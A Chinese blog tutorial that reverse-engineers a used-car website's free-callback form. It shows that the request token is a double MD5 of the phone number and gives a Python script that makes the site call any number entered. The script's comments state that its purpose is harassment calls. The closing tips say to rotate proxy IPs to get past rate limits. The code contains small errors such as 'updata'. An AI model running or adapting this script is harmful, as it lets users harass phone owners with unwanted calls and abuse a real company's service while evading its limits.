Python模拟post提交表单数据
——某二手车网站回拨电话的分析与利用
在浏览某二手车网站的时候,发现可以提交手机号码,然后网站就会回拨给这个手机号,利用这个功能,可以实现一些目的。Python语言可以很便捷的实现这一想法。
Python在提交表单时利用到如下方法:
import urllib urllib2
url=” ” #所要请求数据的url
parameters={ } #参数形式 : “name” : “value”,参数多余一个用,相隔
data=urllib.urlencode(parameters)
request=urllib2.Request(url,data)
response=request.urlopen(request)
对于提交的post表单数据,我们需要知道的是URL和parameters,下面我们就分两步来实现,第一步是分析URL和parameter,第二步是代码实现。
分析URL和parameter
1.打开某二手车网站(https://www.guazi.com/ask/)
同时打开chrome浏览器的开发者工具
点击免费通话,这时候可以看到右侧开发者工具里面出现了网页信息,接着我们填入的手机号就会收到一个该网站的回拨电话,可以先拿自己的手机号码试验一下。
其中?act=callPhone显然就是和提交的电话号码有关,Initiator就是这个提交操作的源文件代码。我们先点击打开?act=callPhone,看看网站提交、响应的都是什么信息:
熟悉get/post请求的话,应该对上面的信息不陌生。其中general中的地址就是提交手机号码的请求地址,类型为POST,所以我们要看看都提交了什么表单数据(就是后面的Form Data)。
Form Data包含以下几个要提交的要素:
1. token: a98774ae5caa2446290dcc376de4c8e4
2. phone: 133****6812
3. puid: 0
显然phone就是我们刚才提交的手机号码,那么token和puid的值是怎么产生的呢?
我们可以再输入几个手机号码试一下,发现确实如此,phone对应的就是手机号码,puid每次都是0,而token每次都是变化的。只要我们能找到token是怎么产生的,就能够构造post表单了。
怎们得到token呢?既然是同一个手机号码token值相同,不同的手机号token值不同,也就是说token的产生只与输入的号码有关,那就先从源码看看有什么蛛丝马迹。
在网页上右击查看源代码,找到“免费通话”相关的代码
一下子就明白了,puid的值可以是0,可是没有看到和token相关的代码。
怎么办呢?
我们静下来分析一下:
我们输入手机号码以后,网页经过处理构造表单数据并把它提交给网站服务器,网页构造表单是通过js脚本来完成,那么我们看看网页包含什么js脚本。
源码中包含这两个js脚本,第二个是不是很熟悉?没错,就是刚才提交手机号码时network中?act=callPhone对应的Initiator
在开发者工具里打开该脚本,获得如下界面
把js代码复制出来到notepad++里面分析一下
先查找token字符串看能不能找到token
怎么样,找到了吧!
URL就是提交的地址,data:{}里面就是提交的数据表单,还是以键值对的形式表示的。一会我们也按这个格式构造表单就可以了。
分析一下这三个数值是怎么得来的
Token的值是a,我们看看前面a的值是怎么得到的
上一行代码中var a=o(o(n.val())) 我们可以显然的猜到n.val()就是手机号码。因为phone:n.val()中,我们从之前的判断中就知道了是手机号。不放心的话我们在往前看看n是怎么得到的:
n=e.
phoneinput,i=e.
puid;
看,n和i都有了,在刚才网页的源代码里就已经知道phone_input是输入的手机号了:
这也验证了刚才的分析是正确的!
现在就只剩下分析token是怎么得到的。
var a=o(o(n.val()))可以看出,这里是对n.val()的值也就是手机号进行了两次处理,得到了token的值(a98774ae5caa2446290dcc376de4c8e4),32位字母和数字的混合。其实到这里熟悉加密解密的朋友应该就有思路了。Token的值是32位,首先想到的就是32位加密的md5值,而且var a=o(o(n.val()))中进行了两次O()的操作,可以猜测应该是进行了两次md5加密,事实是这样的么?我们测试一下就知道了。
发现没有,经过两次md5加密,果然的得到的就是token值。
到这里第一步分析就完成了,剩下的是利用python代码模拟浏览器提交手机号码实现对某一个手机号回拨电话了。
代码实现
到这一步就简单了,利用Python编写脚本,代码如下:
* coding:utf-8_*_
author = ‘技术宅AND代码控’
作用:输入手机号,回拨骚扰电话
网站:某二手车网站自动回拨页面
import urllib2,urllib,cookielib
import requests
import hashlib
输入手机号的函数
def yourphone():
phone = raw_input(“请输入11位手机号码:”)
if len(phone)!=11:
yourphone()
return phone
构造函数
def guazi_call(phone):
cookie = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie))
#对yourphone进行两次MD5加密
md5_1 = hashlib.md5()
md5_1.updata(phone)
md5_2 = hashlib.md5()
md5_2.updata(md5_1.hexdigest())
token = md5_2.hexdigest()
# 需要POST的数据#
postdata = urllib.urlencode({
‘token’: token,
‘phone’: phone,
‘puid’: ‘0’
})
print postdata
# 自定义一个请求#
req = urllib2.Request(
url=’https://www.guazi.com/zq_callback/?act=callPhone‘,
data=postdata
)
# 访问该链接#
result = opener.open(req)
# 打印返回的内容#
print result.read()
需要注意的是
1,到了晚上九点之后,客服就下班了,也就不会有回拨电话了。
2,每次回拨之间有时间间隔。
3,播的多的话可能要限制Ip了,可以通过设置代理IP来解决